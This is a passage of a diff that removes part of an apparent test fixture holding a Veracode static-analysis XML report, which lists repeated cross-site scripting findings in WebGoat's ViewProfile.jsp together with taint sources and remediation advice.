-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile.jsp\" line=\"9\" sourcefilepath=\"/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"256\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getFirstName().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile.jsp\" line=\"18\" sourcefilepath=\"/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"143\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getLastName().
-        The tainted data originated from earlier calls to java.sql.statement.executequery,
-        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile.jsp\" line=\"22\" sourcefilepath=\"/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"234\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getLastName().
-        The tainted data originated from earlier calls to java.sql.statement.executequery,
-        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile.jsp\" line=\"22\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"96\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getAddress1().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile.jsp\" line=\"33\" sourcefilepath=\"/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"212\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getAddress2().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile.jsp\" line=\"34\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"198\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getAddress2().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile.jsp\" line=\"34\" sourcefilepath=\"/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"153\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getAddress2().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile.jsp\" line=\"38\" sourcefilepath=\"/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"54\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile.jsp\" line=\"41\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"211\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile.jsp\" line=\"41\" sourcefilepath=\"/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"81\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile.jsp\" line=\"45\" sourcefilepath=\"/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"99\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getStartDate().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile.jsp\" line=\"51\" sourcefilepath=\"/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"210\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
